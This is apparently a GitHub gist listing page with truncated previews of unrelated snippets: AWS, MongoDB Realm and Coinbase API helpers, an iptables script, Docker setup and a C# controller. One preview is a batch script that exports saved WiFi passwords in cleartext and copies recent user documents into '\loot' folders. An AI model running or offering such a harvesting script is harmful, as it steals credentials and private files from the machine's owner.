This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var AWS = require('aws-sdk') | |
function Zentiment(config){ | |
this.results = {}; | |
this.region = config.region?config.region:''; | |
this.accessKeyId = config.accessKeyId?config.accessKeyId:''; | |
this.secretAccessKey = config.secretAccessKey?config.secretAccessKey:''; | |
this.text = ''; | |
this.textParts = []; | |
this.comprehend = null; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Flushing all rules | |
iptables -F | |
iptables -X | |
# Setting default filter policy | |
iptables -P INPUT DROP | |
iptables -P OUTPUT DROP | |
iptables -P FORWARD DROP | |
# Allow unlimited traffic on loopback | |
iptables -A INPUT -i lo -j ACCEPT |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
exports = async function (payloadObj) { | |
const axios = require('axios').default; | |
axios.defaults.headers.common = { | |
"Content-Type": "application/json", | |
}; | |
let x = await axios({ | |
url: 'https://cloud.enjin.io/graphql/default', | |
method: 'post', | |
data: { | |
query: ` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
exports = async function(arg){ | |
const crypto = require('crypto'); | |
const axios = require('axios').default; | |
const createCBRequest = (method, path) => { | |
// current unix timestamp in seconds (note Date.now() returns milliseconds) | |
var cb_access_timestamp = Date.now() / 1000; | |
// obtained API key, secret, and passphrase from https://pro.coinbase.com/profile/api | |
var cb_access_passphrase = context.values.get('API_PASSPHRASE'); | |
var cb_api_key = context.values.get('API_KEY'); | |
var cb_api_secret = context.values.get('API_SECRET'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
cd /d %~dp0 | |
mkdir \loot\WiFiCreds\%COMPUTERNAME% | |
cd \loot\WiFiCreds\%COMPUTERNAME% | |
netsh wlan export profile key=clear | |
timeout 1 | |
mkdir \loot\DriveLast30\%COMPUTERNAME% | |
cd \loot\DriveLast30\%COMPUTERNAME% | |
robocopy %userprofile%\Documents\ . *.doc* *.xls* *.msg *.txt *.jpg *.jpeg *.png *.gif *.pdf *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfl | |
robocopy %userprofile%\Desktop\ . *.doc* *.xls* *.msg *.txt *.jpg *.jpeg *.png *.gif *.pdf *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfll |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
exports = async function(arg){ | |
const AxiosDigestAuth = require('@mhoc/axios-digest-auth').default; | |
const axios = require('axios').default; | |
const digestAuth = new AxiosDigestAuth({ | |
axios:axios, | |
username: "__USERNAME_GOES_HERE__", | |
password: "__PASSWORD_GOES_HERE__", | |
}); | |
const response = await digestAuth.request({ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
---First, make sure Docker networking is set up--- | |
docker network create my-mongo-cluster | |
docker network ls | |
---Now, run the containers --- | |
docker run -d -p 3001:3001 --name mongo1 --net my-mongo-cluster mongo mongod --replSet my-mongo-rs --port 3001 | |
docker run -d -p 3002:3002 --name mongo2 --net my-mongo-cluster mongo mongod --replSet my-mongo-rs --port 3002 | |
docker run -d -p 3003:3003 --name mongo3 --net my-mongo-cluster mongo mongod --replSet my-mongo-rs --port 3003 | |
---Then, login to mongo1 --- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const ADMIN_API_BASE_URL = "https://realm.mongodb.com/api/admin/v3.0"; | |
exports = async function() { | |
const axios = require('axios'); | |
let getBearerToken = async function(){ | |
var data = JSON.stringify({ | |
"username": "__USERNAME_GOES_HERE__", | |
"apiKey": "__APIKEY_GOES_HERE__" | |
}); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Implement "Bearer token style auth" workaround | |
----------------------------------------------------- | |
situation where my login code is as follows: | |
curl --location --request POST 'https://realm.mongodb.com/api/client/v2.0/app/aeonxp-dev-zeqxr/auth/providers/custom-function/login' \ | |
--header 'Content-Type: application/json' \ | |
--data-raw '{ | |
"username":"[email protected]", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using Microsoft.AspNetCore.Mvc; | |
using MongoDB.Driver; | |
using MongoDB.Bson; | |
using MongoDB.Bson.Serialization.Attributes; | |
using System.Net; | |
using System; | |
namespace dotnetdemo.Controllers; |
OlderNewer